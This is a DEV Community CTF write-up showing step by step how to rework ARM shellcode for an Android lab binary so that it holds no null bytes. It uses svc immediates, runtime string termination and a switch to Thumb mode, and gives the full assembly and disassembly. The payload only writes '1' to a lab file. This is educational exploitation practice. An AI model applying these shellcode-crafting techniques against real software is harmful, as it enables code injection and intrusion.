DEV Community

wireless90
wireless90

Posted on • Edited on

Nullifying Shellcode [Android Internals CTF Ex5]

Get the executable here

  • Our task is to write a shellcode which writes '1' to /data/local/tmp/is_admin.
  • This time, it must not contain null bytes.
  • Run a.out with path as a parameter to your shellcode.
  • Do not reverse a.out

In the previous exercise, we had a working shellcode.

Firstly, lets try to feed that shellcode.bin into our new a.out.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ adb push a.out /data/local/tmp a.out: 1 file pushed. 0.0 MB/s (44620 bytes in 1.975s) ┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ adb shell shell@hammerhead:/ $ su root@hammerhead:/ # cd /data/local/tmp  root@hammerhead:/data/local/tmp # chmod +x a.out root@hammerhead:/data/local/tmp # ./a.out shellcode.bin executing shellcode [1] + Stopped (signal) ./a.out shellcode.bin 
Enter fullscreen mode Exit fullscreen mode

We get an error!

As the instruction suggests, our shellcode should not have any null bytes. Lets take a look at our current shellcode contents.

──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ xxd shellcode.bin 00000000: 3000 8fe2 0110 a0e3 0870 a0e3 0000 00ef 0........p...... 00000010: 0400 2de5 0000 a0e1 2110 8fe2 0120 a0e3 ..-.....!.... .. 00000020: 0470 a0e3 0000 00ef 0400 9de4 0670 a0e3 .p...........p.. 00000030: 0000 00ef 1eff 2fe1 6973 5f61 646d 696e ....../.is_admin 00000040: 0031 0000 .1.. 
Enter fullscreen mode Exit fullscreen mode

We can see that there are lots of null bytes, 00. In c programming, null bytes terminate strings. I suspect a.out to be using some kind of string functions to read our shellcode which then terminates the moment it sees a null byte.

I have edited our commands.sh from the previous exercise, to include extracting out our shellcode.bin and pushing it to our android device.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ vim commands.sh 
Enter fullscreen mode Exit fullscreen mode
export ndk=/home/razali/Downloads/android-ndk-r21e/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/arm-linux-androideabi/bin $ndk/as shellcode.s -o shellcode.o $ndk/ld shellcode.o -o shellcode $ndk/objcopy -O binary --only-section=.text shellcode shellcode.bin echo "==============OBJDUMP OUTPUT==========================" $ndk/objdump -d shellcode.o echo "==============XXD OUTPUT==========================" xxd shellcode.bin adb push ./shellcode.bin /data/local/tmp 
Enter fullscreen mode Exit fullscreen mode

Lets run command.sh.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ ./commands.sh ==============OBJDUMP OUTPUT========================== shellcode.o: file format elf32-littlearm Disassembly of section .text: 00000000 <_start>: 0: e28f0030 add r0, pc, #48 ; 0x30 4: e3a01001 mov r1, #1 8: e3a07008 mov r7, #8 c: ef000000 svc 0x00000000 10: e52d0004 push {r0} ; (str r0, [sp, #-4]!) 00000014 <write>: 14: e1a00000 nop ; (mov r0, r0) 18: e28f1021 add r1, pc, #33 ; 0x21 1c: e3a02001 mov r2, #1 20: e3a07004 mov r7, #4 24: ef000000 svc 0x00000000 00000028 <close>: 28: e49d0004 pop {r0} ; (ldr r0, [sp], #4) 2c: e3a07006 mov r7, #6 30: ef000000 svc 0x00000000 00000034 <branch>: 34: e12fff1e bx lr 00000038 <filename>: 38: 615f7369 .word 0x615f7369 3c: 6e696d64 .word 0x6e696d64 ... 00000041 <toWrite>: 41: 0031 .short 0x0031 ... ==============XXD OUTPUT========================== 00000000: 3000 8fe2 0110 a0e3 0870 a0e3 0000 00ef 0........p...... 00000010: 0400 2de5 0000 a0e1 2110 8fe2 0120 a0e3 ..-.....!.... .. 00000020: 0470 a0e3 0000 00ef 0400 9de4 0670 a0e3 .p...........p.. 00000030: 0000 00ef 1eff 2fe1 6973 5f61 646d 696e ....../.is_admin 00000040: 0031 0000 .1.. ./shellcode.bin: 1 file pushed. 0.0 MB/s (68 bytes in 0.307s) 
Enter fullscreen mode Exit fullscreen mode

We can see that all the svc #0 instructions produces a lot of null bytes, ef000000. Let's use svc #0xffffff instead to fill up the zeroes.

Now we get,

──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ ./commands.sh ==============OBJDUMP OUTPUT========================== shellcode.o: file format elf32-littlearm Disassembly of section .text: 00000000 <_start>: 0: e28f0030 add r0, pc, #48 ; 0x30 4: e3a01001 mov r1, #1 8: e3a07008 mov r7, #8 c: efffffff svc 0x00ffffff 10: e52d0004 push {r0} ; (str r0, [sp, #-4]!) 00000014 <write>: 14: e1a00000 nop ; (mov r0, r0) 18: e28f1021 add r1, pc, #33 ; 0x21 1c: e3a02001 mov r2, #1 20: e3a07004 mov r7, #4 24: efffffff svc 0x00ffffff 00000028 <close>: 28: e49d0004 pop {r0} ; (ldr r0, [sp], #4) 2c: e3a07006 mov r7, #6 30: efffffff svc 0x00ffffff 00000034 <branch>: 34: e12fff1e bx lr 00000038 <filename>: 38: 615f7369 .word 0x615f7369 3c: 6e696d64 .word 0x6e696d64 ... 00000041 <toWrite>: 41: 0031 .short 0x0031 ... ==============XXD OUTPUT========================== 00000000: 3000 8fe2 0110 a0e3 0870 a0e3 ffff ffef 0........p...... 00000010: 0400 2de5 0000 a0e1 2110 8fe2 0120 a0e3 ..-.....!.... .. 00000020: 0470 a0e3 ffff ffef 0400 9de4 0670 a0e3 .p...........p.. 00000030: ffff ffef 1eff 2fe1 6973 5f61 646d 696e ....../.is_admin 00000040: 0031 0000 .1.. ./shellcode.bin: 1 file pushed. 0.0 MB/s (68 bytes in 0.307s) 
Enter fullscreen mode Exit fullscreen mode

If we take a look at our filename,

file_name: .asciz "is_admin" 
Enter fullscreen mode Exit fullscreen mode

it produces the null byte at offset 0x41 as seen below.

00000038 <filename>: 38: 615f7369 .word 0x615f7369 3c: 6e696d64 .word 0x6e696d64 ... 00000041 <toWrite>: 41: 0031 .short 0x0031 
Enter fullscreen mode Exit fullscreen mode

This is because, .asciz is a null terminated string thus file_name: .asciz "is_admin" produces "is_admin\0", which is null terminated.

We will need to put a dummy character, and replace it with a null byte at run time.

We can easily get a #0 by exor-ing 2 values as such.

eor r2, r2 
Enter fullscreen mode Exit fullscreen mode

Now r2 contains #0.

Then we can define our file name to be
file_name: .ascii "is_adminX".

Note the use of .ascii instead of .asciz. Now our string has no null bytes, but we have a big X that we need to replace. We can do that with the strb instruction.

So the code would look like.

eor r2, r2 //R2 now is #0 adr r3, file_name strb r2, [r3, #8] //Replace the 9th character with a null file_name: .ascii "is_adminX" 
Enter fullscreen mode Exit fullscreen mode

Our overall code now looks like

.section .text .global _start _start: create: eor r2, r2 //R2 inow is #0 adr r0, filename strb r2, [r0, #8] mov r1, #1 //WRITE ONLY mov r7, #0x8 //CREAT SYS CALL svc #0xffffff //The file descriptor(fd) is returned into the r0 variable. //Store the file descriptor to the stack. //This way, we can reuse r0 for other functions and when the fd is needed, //we simply pop from the stack push {r0} write: mov r0, r0 //r0 already contains the file descriptor adr r1, toWrite //buffer mov r2, #1 //write only 1 byte mov r7, #0x04 //syscall for write svc #0xffffff close: pop {r0} //pop the file descriptor back mov r7, #0x06 //syscall for close svc #0xffffff branch: //end of this function, lets branch back bx lr filename: .ascii "is_adminX" toWrite: .ascii "1" 
Enter fullscreen mode Exit fullscreen mode

Lets take a look at the objdump now.

==============OBJDUMP OUTPUT========================== shellcode.o: file format elf32-littlearm Disassembly of section .text: 00000000 <_start>: 0: e0222002 eor r2, r2, r2 4: e28f0034 add r0, pc, #52 ; 0x34 8: e5c02008 strb r2, [r0, #8] c: e3a01001 mov r1, #1 10: e3a07008 mov r7, #8 14: efffffff svc 0x00ffffff 18: e52d0004 push {r0} ; (str r0, [sp, #-4]!) 0000001c <write>: 1c: e1a00000 nop ; (mov r0, r0) 20: e28f1021 add r1, pc, #33 ; 0x21 24: e3a02001 mov r2, #1 28: e3a07004 mov r7, #4 2c: efffffff svc 0x00ffffff 00000030 <close>: 30: e49d0004 pop {r0} ; (ldr r0, [sp], #4) 34: e3a07006 mov r7, #6 38: efffffff svc 0x00ffffff 0000003c <branch>: 3c: e12fff1e bx lr 00000040 <filename>: 40: 615f7369 .word 0x615f7369 44: 6e696d64 .word 0x6e696d64 48: 58 .byte 0x58 00000049 <toWrite>: 49: 31 .byte 0x31 ... ==============XXD OUTPUT========================== 00000000: 0220 22e0 3400 8fe2 0820 c0e5 0110 a0e3 . ".4.... ...... 00000010: 0870 a0e3 ffff ffef 0400 2de5 0000 a0e1 .p........-..... 00000020: 2110 8fe2 0120 a0e3 0470 a0e3 ffff ffef !.... ...p...... 00000030: 0400 9de4 0670 a0e3 ffff ffef 1eff 2fe1 .....p......../. 00000040: 6973 5f61 646d 696e 5831 0000 is_adminX1.. ./shellcode.bin: 1 file pushed. 0.0 MB/s (76 bytes in 0.287s) 
Enter fullscreen mode Exit fullscreen mode

Our, add, push, and pop commands still have null bytes. To make shellcoding easier, its better to use the thumb mode. arm instructions are 4 bytes and thumb instructions are 2 to 4 bytes long, therefore reducing the chance of us having a null byte.

To switch to the thumb instruction, we simply need to add #1 to our program counter and branch to it. Also do note that svc #0xffffff is not supported in thumb. Simply do svc #1 and you would not see the null byte in the thumb instruction set anymore.

The final code would look something like...

 .section .text .global _start _start: eor r2, r2 //R2 inow is #0 thumbMode: add r1, pc, #1 bx r1 create: .code 16 adr r0, filename strb r2, [r0, #8] mov r1, #1 //WRITE ONLY mov r7, #0x8 //CREAT SYS CALL svc #1 //The file descriptor(fd) is returned into the r0 variable. //Store the file descriptor to the stack. //This way, we can reuse r0 for other functions and when the fd is needed, //we simply pop from the stack push {r0} write: //mov r0, r0 ------- r0 already contains the file descriptor adr r1, toWrite //buffer mov r2, #1 //write only 1 byte mov r7, #0x04 //syscall for write svc #1 close: pop {r0} //pop the file descriptor back mov r7, #0x06 //syscall for close svc #1 branch: //end of this function, lets branch back bx lr .align 2 filename: .ascii "is_adminX" .align 2 toWrite: .ascii "1" 
Enter fullscreen mode Exit fullscreen mode

Lets compile it and view the bin.

──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ ./commands.sh ==============OBJDUMP OUTPUT========================== shellcode.o: file format elf32-littlearm Disassembly of section .text: 00000000 <_start>: 0: e0222002 eor r2, r2, r2 00000004 <thumbMode>: 4: e28f1001 add r1, pc, #1 8: e12fff11 bx r1 0000000c <create>: c: a006 add r0, pc, #24 ; (adr r0, 28 <filename>) e: 7202 strb r2, [r0, #8] 10: 2101 movs r1, #1 12: 2708 movs r7, #8 14: df01 svc 1 16: b401 push {r0} 00000018 <write>: 18: a106 add r1, pc, #24 ; (adr r1, 34 <toWrite>) 1a: 2201 movs r2, #1 1c: 2704 movs r7, #4 1e: df01 svc 1 00000020 <close>: 20: bc01 pop {r0} 22: 2706 movs r7, #6 24: df01 svc 1 00000026 <branch>: 26: 4770 bx lr 00000028 <filename>: 28: 615f7369 .word 0x615f7369 2c: 6e696d64 .word 0x6e696d64 30: 58 .byte 0x58 31: 00 .byte 0x00 32: 46c0 nop ; (mov r8, r8) 00000034 <toWrite>: 34: 31 .byte 0x31 35: 00 .byte 0x00 36: 46c0 nop ; (mov r8, r8) ==============XXD OUTPUT========================== 00000000: 0220 22e0 0110 8fe2 11ff 2fe1 06a0 0272 . "......./....r 00000010: 0121 0827 01df 01b4 06a1 0122 0427 01df .!.'.......".'.. 00000020: 01bc 0627 01df 7047 6973 5f61 646d 696e ...'..pGis_admin 00000030: 5800 c046 3100 c046 X..F1..F ./shellcode.bin: 1 file pushed. 0.0 MB/s (56 bytes in 0.303s) 
Enter fullscreen mode Exit fullscreen mode

Great we are so close. Look at offset 0x31 now, due to alignment padding with our .align 2, the compiler has added an extra null byte. Lets simply remove this with adding our own extra character.

Change

.align 2 filename: .ascii "is_adminX" 
Enter fullscreen mode Exit fullscreen mode

to

.align 2 filename: .ascii "is_adminXX" //Added extra X 
Enter fullscreen mode Exit fullscreen mode

Now lets take a look at our output again.

┌──(razali㉿razali)-[~/…/Ivy/AndroidVulnResearch/ctf/nullifiyingShellcode] └─$ ./commands.sh ==============OBJDUMP OUTPUT========================== shellcode.o: file format elf32-littlearm Disassembly of section .text: 00000000 <_start>: 0: e0222002 eor r2, r2, r2 00000004 <thumbMode>: 4: e28f1001 add r1, pc, #1 8: e12fff11 bx r1 0000000c <create>: c: a006 add r0, pc, #24 ; (adr r0, 28 <filename>) e: 7202 strb r2, [r0, #8] 10: 2101 movs r1, #1 12: 2708 movs r7, #8 14: df01 svc 1 16: b401 push {r0} 00000018 <write>: 18: a106 add r1, pc, #24 ; (adr r1, 34 <toWrite>) 1a: 2201 movs r2, #1 1c: 2704 movs r7, #4 1e: df01 svc 1 00000020 <close>: 20: bc01 pop {r0} 22: 2706 movs r7, #6 24: df01 svc 1 00000026 <branch>: 26: 4770 bx lr 00000028 <filename>: 28: 615f7369 .word 0x615f7369 2c: 6e696d64 .word 0x6e696d64 30: 5858 .short 0x5858 32: 46c0 nop ; (mov r8, r8) 00000034 <toWrite>: 34: 31 .byte 0x31 35: 00 .byte 0x00 36: 46c0 nop ; (mov r8, r8) ==============XXD OUTPUT========================== 00000000: 0220 22e0 0110 8fe2 11ff 2fe1 06a0 0272 . "......./....r 00000010: 0121 0827 01df 01b4 06a1 0122 0427 01df .!.'.......".'.. 00000020: 01bc 0627 01df 7047 6973 5f61 646d 696e ...'..pGis_admin 00000030: 5858 c046 3100 c046 XX.F1..F ./shellcode.bin: 1 file pushed. 0.0 MB/s (56 bytes in 0.304s) 
Enter fullscreen mode Exit fullscreen mode

Great no more null bytes(ignore the end null bytes).

Lets head back to our android device and run our shellcode.bin.

root@hammerhead:/data/local/tmp # ./a.out shellcode.bin  executing shellcode You did it! The flag is: "nununu" 
Enter fullscreen mode Exit fullscreen mode

Top comments (0)